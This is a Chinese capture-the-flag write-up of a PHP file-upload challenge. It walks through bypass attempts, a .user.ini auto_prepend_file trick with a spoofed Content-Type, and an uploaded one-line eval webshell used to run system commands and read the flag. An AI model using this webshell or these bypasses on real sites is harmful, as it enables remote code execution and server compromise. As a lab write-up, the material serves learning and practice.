这个题真的是难...网上找到答案都不对
------------------------------------------------------------正题
原题:攻防世界
打开题目后是这个界面
我们可以知道这是一个文件上传漏洞的题
那么我们就要一个一个尝试文件上传漏洞的各种方式
1.首先是js检查
这个很简单,制作一个图片马,上传。
w
发现提示为我们的文件看起来很邪恶。很好,js绕过不行。
2. 文杰类型绕过
原理:一些网站或服务器会对某些文件后缀进行限制,包含已经限制文件后缀的文件不能上传
这里我就不放图片了,反正结果和第一个方法。
3.修改配置文件上传
这个方法需要用到我们的一个配置文件.htaccess
关于.htaccess的详细信息可以查看这篇大佬的文章php的htaccess,深入理解PHP的.htaccess文件_是她就是他的博客-CSDN博客
这里我就简单说一下,.htaccess文件里面的命令可以调用同一目录或子目录下的文件。
所以我们设置一个.htaccess.ini文件,把他上传到网页上,发现还是提示错误,这里猜测可能是检测了头部文件命令,我们在配置文件按里写入
GIF89a发现还是失败 猜测可能是禁止上传.htaccess.ini的文件,所以我们可以使用一个替代文件.user.ini,方法和.htaccess.ini文件一样,并且输入GIF89a和auto_prepend_file=a.jpg(这个代码的意思是稍后执行a.jpg文件。)发现还是不行,猜测服务器对数据包进行了检测,所以我们抓包
在content-type中修改后面为:image.jpg。放包发现文件上传成功
接着传入我们的 照片,照片里面的内容为GIF89a
<?=eval($_POST["cmd"]);?> 这里的一句话木马不能带有php的字符,网站会进行检测。
然后查看文件上传到的地址
为http://61.147.171.105:54969/uploads/index.php(这里的ip地址会改变所以大家别和我一样直接复制。)
获得上传地址后我们跳转到上传地址。
我们发现我们看到了我们上传照片的内容(在最上面)
然后我们命令cmd=(system'ls /');查看上一级目录的文件
可以看到我们的上一级文件,并且发现了一个flag文件。接着我们抓取并查看这个文件
成功发现了我们的flag